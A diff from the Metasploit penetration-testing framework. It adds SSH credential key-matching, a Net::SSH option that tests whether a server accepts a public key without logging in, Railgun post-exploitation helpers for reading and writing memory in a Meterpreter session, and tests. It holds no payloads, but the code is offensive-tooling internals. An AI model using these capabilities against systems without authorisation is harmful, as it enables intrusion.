diff --git a/README b/README index 91fa367f81..ba1136114b 100644 --- a/README +++ b/README @@ -48,12 +48,16 @@ This license does not apply to the following components: - The Ruby-Lorcon library located under external/ruby-lorcon - The SNMP library located under lib/snmp - The Zip library located under lib/zip + - The SSHKey library located under lib/sshkey The latest version of this software is available from http://metasploit.com/ Bug tracking and development information can be found at: https://dev.metasploit.com/redmine/projects/framework/ +The public GitHub source repository can be found at: + https://github.com/rapid7/metasploit-framework + Questions and suggestions can be sent to: msfdev[at]metasploit.com diff --git a/lib/msf/core/model/cred.rb b/lib/msf/core/model/cred.rb index 3ba51c4a4e..7308a90fea 100644 --- a/lib/msf/core/model/cred.rb +++ b/lib/msf/core/model/cred.rb @@ -5,18 +5,47 @@ class Cred < ActiveRecord::Base include DBSave belongs_to :service - def ssh_key_matches?(other) - return false unless other.kind_of? self.class + KEY_ID_REGEX = /([0-9a-fA-F:]{47})/ # Could be more strict + + # Returns its workspace + def workspace + self.service.host.workspace + end + + # Returns its key id. If this is not an ssh-type key, returns nil. + def ssh_key_id + return nil unless self.ptype =~ /^ssh_/ + return nil unless self.proof =~ KEY_ID_REGEX + $1.downcase # Can't run into NilClass problems. + end + + # Returns all private keys with matching key ids, including itself + # If this is not an ssh-type key, always returns an empty array. + def ssh_private_keys + return [] unless self.ssh_key_id + matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_key", "%#{self.ssh_key_id}%"]) + matches.select {|c| c.workspace == self.workspace} + end + + # Returns all public keys with matching key ids, including itself + # If this is not an ssh-type key, always returns an empty array. + def ssh_public_keys + return [] unless self.ssh_key_id + matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_pubkey", "%#{self.ssh_key_id}%"]) + matches.select {|c| c.workspace == self.workspace} + end + + # Returns all keys with matching key ids, including itself + # If this is not an ssh-type key, always returns an empty array. + def ssh_keys + (self.ssh_private_keys | self.ssh_public_keys) + end + + def ssh_key_matches?(other_cred) return false unless self.ptype == "ssh_key" - return false unless self.ptype == other.ptype - return false unless other.proof - return false if other.proof.empty? - return false unless self.proof - return false if self.proof.empty? - key_id_regex = /[0-9a-fA-F:]+/ - my_key_id = self.proof[key_id_regex].to_s.downcase - other_key_id = other.proof[key_id_regex].to_s.downcase - my_key_id == other_key_id + return false unless other_cred.ptype == self.ptype + matches = self.ssh_private_keys + matches.include?(self) and matches.include?(other_cred) end end diff --git a/lib/msf/core/post/windows/railgun.rb b/lib/msf/core/post/windows/railgun.rb new file mode 100644 index 0000000000..43ceaa8ad1 --- /dev/null +++ b/lib/msf/core/post/windows/railgun.rb @@ -0,0 +1,60 @@ +require 'rex/post/meterpreter/extensions/stdapi/railgun/railgun' + +module Msf +class Post +module Windows +module Railgun + + # Go through each dll and add a corresponding convenience method of the same name + Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun::BUILTIN_DLLS.each do |api| + # We will be interpolating within an eval. We exercise due paranoia. + unless api.to_s =~ /^\w+$/ + print_error 'Something is seriously wrong with Railgun.BUILTIN_DLLS list' + next + end + + # don't override existing methods + if method_defined? api.to_sym + # We don't warn as the override may have been intentional + next + end + + # evaling a String is faster than calling define_method + eval "def #{api.to_s}; railgun.#{api.to_s}; end" + end + + # + # Return an array of windows constants names matching +winconst+ + # + def select_const_names(winconst, filter_regex=nil) + railgun.constant_manager.select_const_names(winconst, filter_regex) + end + + # + # Returns an array of windows error code names for a given windows error code matching +err_code+ + # + def lookup_error (err_code, filter_regex=nil) + select_const_names(err_code, /^ERROR_/).select do |name| + name =~ filter_regex + end + end + + def memread(address, length) + railgun.memread(address, length) + end + + def memwrite(address, length) + railgun.memwrite(address, length) + end + + def railgun + client.railgun + end + + def pointer_size + railgun.util.pointer_size + end +end +end +end +end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 247d4429a4..ee14be9edc 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -190,7 +190,7 @@ class Core cmd_resource_help return false end - + args.each do |res| good_res = nil if (File.file? res and File.readable? res) @@ -201,7 +201,7 @@ class Core ::Msf::Config.script_directory + File::SEPARATOR + "resource", ::Msf::Config.user_script_directory + File::SEPARATOR + "resource" ].each do |dir| - res_path = dir + File::SEPARATOR + res + res_path = dir + File::SEPARATOR + res if (File.file?(res_path) and File.readable?(res_path)) good_res = res_path break @@ -216,7 +216,7 @@ class Core end end end - + # # Tab completion for the resource command # @@ -227,7 +227,7 @@ class Core # then you are probably specifying a full path so let's just use normal file completion return tab_complete_filenames(str,words) elsif (not words[1] or not words[1].match(/^\//)) - # then let's start tab completion in the scripts/resource directories + # then let's start tab completion in the scripts/resource directories begin [ ::Msf::Config.script_directory + File::SEPARATOR + "resource", @@ -2179,7 +2179,7 @@ class Core print_line "Set the previously loaded module as the current module" print_line end - + # # Command to enqueque a module on the module stack # @@ -2190,7 +2190,7 @@ class Core @module_name_stack.push(arg) # Note new modules are appended to the array and are only module (full)names end - else #then just push the active module + else #then just push the active module if active_module #print_status "Pushing the active module" @module_name_stack.push(active_module.fullname) @@ -2200,7 +2200,11 @@ class Core end end end - + + def cmd_pushm_tabs(str, words) + tab_complete_module(str, words) + end + # # Help for the 'pushm' command # @@ -2210,7 +2214,7 @@ class Core print_line "push current active module or specified modules onto the module stack" print_line end - + # # Command to dequeque a module from the module stack # @@ -2251,17 +2255,9 @@ class Core # Tab completion for the use command # def cmd_use_tabs(str, words) - res = [] - return res if words.length > 1 + return [] if words.length > 1 - framework.modules.module_types.each do |mtyp| - mset = framework.modules.module_names(mtyp) - mset.each do |mref| - res << mtyp + '/' + mref - end - end - - return res.sort + tab_complete_module(str, words) end # @@ -2276,6 +2272,22 @@ class Core return true end + # + # Tab complete module names + # + def tab_complete_module(str, words) + res = [] + framework.modules.module_types.each do |mtyp| + mset = framework.modules.module_names(mtyp) + mset.each do |mref| + res << mtyp + '/' + mref + end + end + + return res.sort + end + + # # Provide tab completion for option values # diff --git a/lib/net/ssh.rb b/lib/net/ssh.rb index 35ade51ab5..21fe13f0d2 100644 --- a/lib/net/ssh.rb +++ b/lib/net/ssh.rb @@ -71,7 +71,7 @@ module Net :rekey_limit, :rekey_packet_limit, :timeout, :verbose, :global_known_hosts_file, :user_known_hosts_file, :host_key_alias, :host_name, :user, :properties, :passphrase, :msframework, :msfmodule, - :record_auth_info + :record_auth_info, :skip_private_keys, :accepted_key_callback, :disable_agent ] # The standard means of starting a new SSH connection. When used with a @@ -196,7 +196,7 @@ module Net # Tell MSF not to auto-close this socket anymore... # This allows the transport socket to surive with the session. if options[:msfmodule] - options[:msfmodule].remove_socket(transport.socket) + options[:msfmodule].remove_socket(transport.socket) end if block_given? @@ -206,7 +206,7 @@ module Net return connection end else - transport.close + transport.close raise AuthenticationFailed, user end end diff --git a/lib/net/ssh/authentication/key_manager.rb b/lib/net/ssh/authentication/key_manager.rb index 1a2f386e35..eba17cfc76 100644 --- a/lib/net/ssh/authentication/key_manager.rb +++ b/lib/net/ssh/authentication/key_manager.rb @@ -121,10 +121,16 @@ module Net end key_data.each do |data| - private_key = KeyFactory.load_data_private_key(data) - key = private_key.send(:public_key) - known_identities[key] = { :from => :key_data, :data => data, :key => private_key } - yield key + if @options[:skip_private_keys] + key = KeyFactory.load_data_public_key(data) + known_identities[key] = { :from => :key_data, :data => data } + yield key + else + private_key = KeyFactory.load_data_private_key(data) + key = private_key.send(:public_key) + known_identities[key] = { :from => :key_data, :data => data, :key => private_key } + yield key + end end self @@ -165,6 +171,7 @@ module Net # Identifies whether the ssh-agent will be used or not. def use_agent? + return false if @options[:disable_agent] @use_agent end diff --git a/lib/net/ssh/authentication/methods/publickey.rb b/lib/net/ssh/authentication/methods/publickey.rb index 2d95d22e59..e5eafebbba 100644 --- a/lib/net/ssh/authentication/methods/publickey.rb +++ b/lib/net/ssh/authentication/methods/publickey.rb @@ -54,6 +54,23 @@ module Net case message.type when USERAUTH_PK_OK + debug { "publickey will be accepted (#{identity.fingerprint})" } + + # The key is accepted by the server, trigger a callback if set + if session.accepted_key_callback + session.accepted_key_callback.call({ :user => username, :fingerprint => identity.fingerprint, :key => identity.dup }) + end + + if session.skip_private_keys + if session.options[:record_auth_info] + session.auth_info[:method] = "publickey" + session.auth_info[:user] = username + session.auth_info[:pubkey_data] = identity.inspect + session.auth_info[:pubkey_id] = identity.fingerprint + end + return true + end + buffer = build_request(identity, username, next_service, true) sig_data = Net::SSH::Buffer.new sig_data.write_string(session_id) diff --git a/lib/net/ssh/authentication/session.rb b/lib/net/ssh/authentication/session.rb index cb12d90011..b471b54377 100644 --- a/lib/net/ssh/authentication/session.rb +++ b/lib/net/ssh/authentication/session.rb @@ -33,6 +33,12 @@ module Net; module SSH; module Authentication # when a successful auth is made, note the auth info if session.options[:record_auth_info] attr_accessor :auth_info + + # when a public key is accepted (even if not used), trigger a callback + attr_accessor :accepted_key_callback + + # when we only want to test a key and not login + attr_accessor :skip_private_keys # Instantiates a new Authentication::Session object over the given # transport layer abstraction. @@ -43,8 +49,10 @@ module Net; module SSH; module Authentication @auth_methods = options[:auth_methods] || %w(publickey hostbased password keyboard-interactive) @options = options - @allowed_auth_methods = @auth_methods - @auth_info = {} + @allowed_auth_methods = @auth_methods + @skip_private_keys = options[:skip_private_keys] || false + @accepted_key_callback = options[:accepted_key_callback] + @auth_info = {} end # Attempts to authenticate the given user, in preparation for the next diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb index aa0e2dd539..1ea897cc0e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb @@ -5,6 +5,8 @@ require 'test/unit' require 'rex' require 'railgun/api_constants.rb.ut' +require 'railgun/type/pointer_util.rb.ut' +require 'railgun/platform_util.rb.ut' require 'railgun/buffer_item.rb.ut' require 'railgun/dll_function.rb.ut' require 'railgun/dll_helper.rb.ut' diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb new file mode 100644 index 0000000000..6809873635 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb @@ -0,0 +1,22 @@ +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module PlatformUtil + + X86_64 = :x86_64 + X86_32 = :x86_32 + + def self.parse_client_platform(meterp_client_platform) + meterp_client_platform =~ /win64/ ? X86_64 : X86_32 + end + +end # PlatformUtil +end # Railgun +end # Stdapi +end # Extensions +end # Meterpreter +end # Post +end # Rex diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb.ut.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb.ut.rb new file mode 100644 index 0000000000..5c70016ac0 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb.ut.rb @@ -0,0 +1,28 @@ +#!/usr/bin/env ruby + +$:.unshift(File.join(File.dirname(__FILE__), '..','..','..','..','..', '..', '..', 'lib')) + +require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util' +require 'rex/post/meterpreter/extensions/stdapi/railgun/mock_magic' +require 'test/unit' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +class PlatformUtil::UnitTest < Test::Unit::TestCase + def test_parse_client_platform + assert_equal(PlatformUtil.parse_client_platform('x86/win32'), PlatformUtil::X86_32, + 'parse_client_platform should translate Win32 client platforms') + assert_equal(PlatformUtil.parse_client_platform('x86/win64'), PlatformUtil::X86_64, + 'parse_client_platform should translate Win64 client platforms') + end +end +end +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 2dded94495..9a6bdbabf6 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -61,9 +61,9 @@ class Railgun # definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/'. # Naming is important and should follow convention. For example, if your # dll's name was "my_dll" - # file name:: def_my_dll.rb - # class name:: Def_my_dll - # entry below:: 'my_dll' + # file name: def_my_dll.rb + # class name: Def_my_dll + # entry below: 'my_dll' # BUILTIN_DLLS = [ 'kernel32', @@ -104,6 +104,10 @@ class Railgun self.dlls = {} end + def self.builtin_dlls + BUILTIN_DLLS + end + # # Return this Railgun's Util instance. # @@ -184,8 +188,8 @@ class Railgun # For backwards compatibility, we ensure the dll is thawed if dll.frozen? - # dup will copy values, but not the frozen status - dll = dll.dup + # Duplicate not only the dll, but its functions as well. Frozen status will be lost + dll = Marshal.load(Marshal.dump(dll)) # Update local dlls with the modifiable duplicate dlls[dll_name] = dll @@ -277,22 +281,6 @@ class Railgun def const(str) return constant_manager.parse(str) end - - # - # Return an array of windows constants names matching +winconst+ - # - - def const_reverse_lookup(winconst,filter_regex=nil) - return constant_manager.rev_lookup(winconst,filter_regex) - end - - # - # Returns an array of windows error code names for a given windows error code matching +err_code+ - # - - def error_lookup (err_code,filter_regex=/^ERROR_/) - return constant_manager.rev_lookup(err_code,filter_regex) - end # # The multi-call shorthand (["kernel32", "ExitProcess", [0]]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb index 26aa0e58fa..48ba844768 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb @@ -120,6 +120,14 @@ class Railgun::UnitTest < Test::Unit::TestCase assert(!unfrozen_dll.frozen?, "add_function should create a local unfrozen instance that get_dll can then access") + + railgun2 = Railgun.new(make_mock_client()) + + assert(!railgun2.get_dll(dll_name).functions.has_key?('__lolz'), + "functions added to one instance of railgun should not be accessible to others") + + assert_not_same(!railgun2.get_dll(dll_name).functions, unfrozen_dll.functions, + "function hash should have been duplicated during unfreeze") end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb new file mode 100644 index 0000000000..2d280773c4 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb @@ -0,0 +1,105 @@ +require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Type +module PointerUtil + + ARCH_POINTER_SIZE = { + PlatformUtil::X86_64 => 8, + PlatformUtil::X86_32 => 4 + }.freeze + + # Returns the pointer size for this architecture. Should accept client or platform or arch + def self.pointer_size(platform) + ARCH_POINTER_SIZE[platform] + end + + def self.pack_pointer(pointer, platform) + if pointer.nil? + return pack_pointer(0, platform) + end + + case platform + when PlatformUtil::X86_64 + # XXX: Only works if attacker and victim are like-endianed + [pointer].pack('Q') + when PlatformUtil::X86_32 + [pointer].pack('V') + else + raise "platform symbol #{platform.to_s} not supported" + end + end + + # Given a packed pointer, unpack it according to architecture + def self.unpack_pointer(packed_pointer, platform) + case platform + when PlatformUtil::X86_64 + # XXX: Only works if attacker and victim are like-endianed + packed_pointer.unpack('Q').first + when PlatformUtil::X86_32 + packed_pointer.unpack('V').first + else + raise "platform symbol #{platform.to_s} not supported" + end + end + + def self.null_pointer(pointer, platform) + pack_pointer(0, platform) + end + + ### + # Summary: Returns true if pointer will be considered a 'null' pointer + # + # If given nil, returns true + # If given 0, returns true + # If given a string, if 0 after unpacking, returns true + # false otherwise + ## + def self.is_null_pointer?(pointer, platform) + if pointer.kind_of?(String) + pointer = unpack_pointer(pointer, platform) + end + + return pointer.nil? || pointer == 0 + end +# +# def self.is_unpacked_pointer?(pointer, platform) +# # TODO also check that the integer size is appropriate for the platform +# unless pointer.kind_of?(Fixnum) and pointer > 0 # and pointer < +# return false +# end +# +# packed_pointer = pack_pointer(pointer, platform) +# if !packed_pointer.nil? and packed_pointer.length == pointer_size(platform) +# return true +# end +# +# return false +# end +# + # Returns true if the data type is a pointer, false otherwise + def self.is_pointer_type?(type) + if type == :pointer + return true + end + + if type.kind_of?(String) && type =~ /^L?P/ + return true + end + + return false + end + +end # PointerUtil +end # Type +end # Railgun +end # Stdapi +end # Extensions +end # Meterpreter +end # Post +end # Rex diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb.ut.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb.ut.rb new file mode 100644 index 0000000000..2da6027c01 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb.ut.rb @@ -0,0 +1,127 @@ +#!/usr/bin/env ruby + +$:.unshift(File.join(File.dirname(__FILE__), '..', '..','..','..','..','..', '..', '..', 'lib')) + +require 'rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util' +require 'rex/post/meterpreter/extensions/stdapi/railgun/platform_util' +require 'rex/post/meterpreter/extensions/stdapi/railgun/mock_magic' +require 'test/unit' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Type +class PlatformUtil::UnitTest < Test::Unit::TestCase + + include Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::MockMagic + + # memread value of win x86 pointer mapped to target unpack value + X86_32_POINTERS = { + "8D\x15\x00" => 1393720, + "\x1C\x84\x15\x00" => 1410076, + "\x0E\x84\x15\x00" => 1410062, + "\x02\x84\x15\x00" => 1410050, + "\xE6\x83\x15\x00" => 1410022, + "\xC4\x83\x15\x00" => 1409988, + "\x00\x00\x00\x00" => 0, + } + X86_64_POINTERS = { + "\x10^ \x00\x00\x00\x00\x00" => 2121232, + "\xCA\x9D \x00\x00\x00\x00\x00" => 2137546, + "\xC8\x9D \x00\x00\x00\x00\x00" => 2137544, + "Z\x9D \x00\x00\x00\x00\x00" => 2137434, + "X\x9D \x00\x00\x00\x00\x00" => 2137432, + "\x00\x00\x00\x00\x00\x00\x00\x00" => 0, + } + + X86_64_NULL_POINTER = "\x00\x00\x00\x00\x00\x00\x00\x00" + X86_32_NULL_POINTER = "\x00\x00\x00\x00" + + X86_64 = PlatformUtil::X86_64 + X86_32 = PlatformUtil::X86_32 + + def test_pack_pointer + X86_64_POINTERS.invert.each_pair do |unpacked, packed| + assert_equal(packed, PointerUtil.pack_pointer(unpacked.to_i, X86_64), + "pack_pointer should pack 64-bit numberic pointers") + end + + X86_32_POINTERS.invert.each_pair do |unpacked, packed| + assert_equal(packed, PointerUtil.pack_pointer(unpacked.to_i, X86_32), + "pack_pointer should pack 32-bit numberic pointers") + end + + assert_equal(X86_64_NULL_POINTER, PointerUtil.pack_pointer(nil, X86_64), + 'pack_pointer should pack "nil" as a null pointer for x86_64') + + assert_equal(X86_32_NULL_POINTER, PointerUtil.pack_pointer(nil, X86_32), + 'pack_pointer should pack "nil" as a null pointer for x86_32') + + assert_equal(X86_64_NULL_POINTER, PointerUtil.pack_pointer(0, X86_64), + 'pack_pointer should pack numeric 0 as a null pointer for x86_64') + + assert_equal(X86_32_NULL_POINTER, PointerUtil.pack_pointer(0, X86_32), + 'pack_pointer should pack numeric 9 as a null pointer for x86_32') + end + + def test_unpack_pointer + X86_64_POINTERS.each_pair do |packed, unpacked| + assert_equal(unpacked, PointerUtil.unpack_pointer(packed, X86_64), + "unpack_pointer should unpack 64-bit pointers") + end + + X86_32_POINTERS.each_pair do |packed, unpacked| + assert_equal(unpacked, PointerUtil.unpack_pointer(packed, X86_32), + "unpack_pointer should unpack 32-bit pointers") + end + + + end + + def test_is_null_pointer + [X86_32, X86_64].each do |platform| + assert(PointerUtil.is_null_pointer?(nil, platform), 'nil should be a null pointer') + assert(PointerUtil.is_null_pointer?(0, platform), 'numeric 0 should be a null pointer') + end + + assert_equal(true, PointerUtil.is_null_pointer?(X86_32_NULL_POINTER, X86_32), + 'is_null_pointer? should return true for packed 32-bit null pointers') + + assert_equal(true, PointerUtil.is_null_pointer?(X86_64_NULL_POINTER, X86_64), + 'is_null_pointer? should return true for packed 64-bit null pointers') + + end + + def test_pointer_size + assert_equal(8, PointerUtil.pointer_size(X86_64), + 'pointer_size should report X86_64 arch as 8 (bytes)') + + assert_equal(4, PointerUtil.pointer_size(X86_32), + 'pointer_size should report X86_32 arch as 4 (bytes)') + end + + def test_is_pointer_type + assert_equal(true, PointerUtil.is_pointer_type?(:pointer), + 'pointer_type should return true for the symbol :pointer') + + assert_equal(true, PointerUtil.is_pointer_type?('LPVOID'), + 'pointer_type should return true if string begins with LP') + + assert_equal(true, PointerUtil.is_pointer_type?('PDWORD'), + 'pointer_type should return true if string begins with P') + + assert_equal(false, PointerUtil.is_pointer_type?('LOLZ'), + 'pointer_type should return false if not a pointer type') + + end +end +end +end +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb index 7f54dea079..99dde10650 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb @@ -33,6 +33,7 @@ module Railgun # Manages our library of windows constants # class WinConstManager + attr_reader :consts def initialize(initial_consts = {}) @consts = {} @@ -40,12 +41,10 @@ class WinConstManager initial_consts.each_pair do |name, value| add_const(name, value) end - - # Load utility end def add_const(name, value) - @consts[name] = value + consts[name] = value end # parses a string constaining constants and returns an integer @@ -59,41 +58,38 @@ class WinConstManager return_value = 0 for one_const in s.split('|') one_const = one_const.strip() - if not @consts.has_key? one_const + if not consts.has_key? one_const return nil # at least one "Constant" is unknown to us end - return_value |= @consts[one_const] + return_value |= consts[one_const] end return return_value end def is_parseable(s) - return parse(s) != nil - end - - # looks up a windows constant (integer or hex) and returns an array of matching winconstant names - # - # this function will NOT throw an exception but return "nil" if it can't find an error code - def rev_lookup(winconst, filter_regex=nil) - c = winconst.to_i # this is what we're gonna reverse lookup - arr = [] # results array - @consts.each_pair do |k,v| - arr << k if v == c - end - if filter_regex # this is how we're going to filter the results - # in case we get passed a string instead of a Regexp - filter_regex = Regexp.new(filter_regex) unless filter_regex.class == Regexp - # do the actual filtering - arr.select! do |item| - item if item =~ filter_regex - end - end - return arr + return !parse(s).nil? end - def is_parseable(s) - return parse(s) != nil - end + # + # Returns an array of constant names that have a value matching "winconst" + # and (optionally) a name that matches "filter_regex" + # + def select_const_names(winconst, filter_regex=nil) + matches = [] + + consts.each_pair do |name, value| + matches << name if value == winconst + end + + # Filter matches by name if a filter has been provided + unless filter_regex.nil? + matches.reject! do |name| + name !~ filter_regex + end + end + + return matches + end end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb index e7d2bda9ad..9d53452cee 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb @@ -12,6 +12,26 @@ module Extensions module Stdapi module Railgun class WinConstManager::UnitTest < Test::Unit::TestCase + + def test_select_const_names + const_manager = WinConstManager.new + + names = %w(W WW WWW) + + names.each do |name| + const_manager.add_const(name, 23) + end + + assert(const_manager.select_const_names(23).sort == names, + 'select_const_names should return all names for given value') + + const_manager.add_const('Skidoo!', 23) + + assert(const_manager.select_const_names(23, /^\w{1,3}$/).sort == names, + 'select_const_names should filter names with provided regex') + + end + def test_is_parseable const_manager = WinConstManager.new diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 13befa061a..d5a8391c25 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -99,16 +99,22 @@ class Client # def set_config(opts = {}) opts.each_pair do |var,val| + # Default type is string typ = self.config_types[var] || 'string' + # These are enum types if(typ.class.to_s == 'Array') if not typ.include?(val) raise RuntimeError, "The specified value for #{var} is not one of the valid choices" end end + # The caller should have converted these to proper ruby types, but + # take care of the case where they didn't before setting the + # config. + if(typ == 'bool') - val = (val =~ /^(t|y|1)$/i ? true : false) + val = (val =~ /^(t|y|1)$/i ? true : false || val === true) end if(typ == 'integer') diff --git a/lib/sshkey.rb b/lib/sshkey.rb new file mode 100644 index 0000000000..a3bcfa7088 --- /dev/null +++ b/lib/sshkey.rb @@ -0,0 +1,4 @@ +class SSHKey +end + +require 'sshkey/lib/sshkey' diff --git a/lib/sshkey/LICENSE b/lib/sshkey/LICENSE new file mode 100644 index 0000000000..e8ca42b73a --- /dev/null +++ b/lib/sshkey/LICENSE @@ -0,0 +1,20 @@ +Copyright (c) 2011 James Miller + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/sshkey/README.md b/lib/sshkey/README.md new file mode 100644 index 0000000000..9678f32bee --- /dev/null +++ b/lib/sshkey/README.md @@ -0,0 +1,71 @@ +sshkey +====== + +Generate private and public SSH keys (RSA and DSA supported) using pure Ruby. + + gem install sshkey + +Tested on the following Rubies: MRI 1.8.7, 1.9.2, 1.9.3, REE. Ruby must be compiled with OpenSSL support. + +[![Build Status](https://secure.travis-ci.org/bensie/sshkey.png)](http://travis-ci.org/bensie/sshkey) + +Usage +----- + +When generating a new keypair the default key type is 2048-bit RSA, but you can supply the `type` (RSA or DSA) and `bits` in the options. +You can also (optionally) supply a `comment`: + +``` ruby +k = SSHKey.generate + +k = SSHKey.generate(:type => "DSA", :bits => 1024, :comment => "foo@bar.com") +``` + +Return an SSHKey object from an existing RSA or DSA private key (provided as a string) + +``` ruby +k = SSHKey.new(File.read("~/.ssh/id_rsa"), :comment => "foo@bar.com") +``` + +Both of these will return an SSHKey object with the following methods: + +``` ruby +# Returns an OpenSSL::PKey::RSA or OpenSSL::PKey::DSA key object +# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/RSA.html +# http://www.ruby-doc.org/stdlib/libdoc/openssl/rdoc/classes/OpenSSL/PKey/DSA.html +k.key_object +# => -----BEGIN RSA PRIVATE KEY-----\nMIIEowI... + +# Returns the Private Key as a string +k.private_key +# => "-----BEGIN RSA PRIVATE KEY-----\nMIIEowI..." + +# Returns the Public Key as a string +k.public_key +# => "-----BEGIN RSA PUBLIC KEY-----\nMIIBCg..." + +# Returns the SSH Public Key as a string +k.ssh_public_key +# => "ssh-rsa AAAAB3NzaC1yc2EA...." + +# Returns the comment as a string +k.comment +# => "foo@bar.com" + +# Returns the MD5 fingerprint as a string +k.md5_fingerprint +# => "2a:89:84:c9:29:05:d1:f8:49:79:1c:ba:73:99:eb:af" + +# Returns the SHA1 fingerprint as a string +k.sha1_fingerprint +# => "e4:f9:79:f2:fe:d6:be:2d:ef:2e:c2:fa:aa:f8:b0:17:34:fe:0d:c0" + +# Validates SSH Public Key +SSHKey.valid_ssh_public_key? "ssh-rsa AAAAB3NzaC1yc2EA...." +# => true +``` + +Copyright +--------- + +Copyright (c) 2011 James Miller diff --git a/lib/sshkey/lib/sshkey.rb b/lib/sshkey/lib/sshkey.rb new file mode 100644 index 0000000000..147fa4b4cb --- /dev/null +++ b/lib/sshkey/lib/sshkey.rb @@ -0,0 +1,186 @@ +require 'openssl' +require 'base64' +require 'digest/md5' +require 'digest/sha1' + +class SSHKey + SSH_TYPES = {"rsa" => "ssh-rsa", "dsa" => "ssh-dss"} + SSH_CONVERSION = {"rsa" => ["e", "n"], "dsa" => ["p", "q", "g", "pub_key"]} + + attr_reader :key_object, :comment, :type + attr_accessor :passphrase + + # Generate a new keypair and return an SSHKey object + # + # The default behavior when providing no options will generate a 2048-bit RSA + # keypair. + # + # ==== Parameters + # * options<~Hash>: + # * :type<~String> - "rsa" or "dsa", "rsa" by default + # * :bits<~Integer> - Bit length + # * :comment<~String> - Comment to use for the public key, defaults to "" + # * :passphrase<~String> - Encrypt the key with this passphrase + # + def self.generate(options = {}) + type = options[:type] || "rsa" + bits = options[:bits] || 2048 + cipher = OpenSSL::Cipher::Cipher.new("AES-128-CBC") if options[:passphrase] + + case type.downcase + when "rsa" then SSHKey.new(OpenSSL::PKey::RSA.generate(bits).to_pem(cipher, options[:passphrase]), options) + when "dsa" then SSHKey.new(OpenSSL::PKey::DSA.generate(bits).to_pem(cipher, options[:passphrase]), options) + else + raise "Unknown key type: #{type}" + end + end + + # Validate an existing SSH public key + # + # Returns true or false depending on the validity of the public key provided 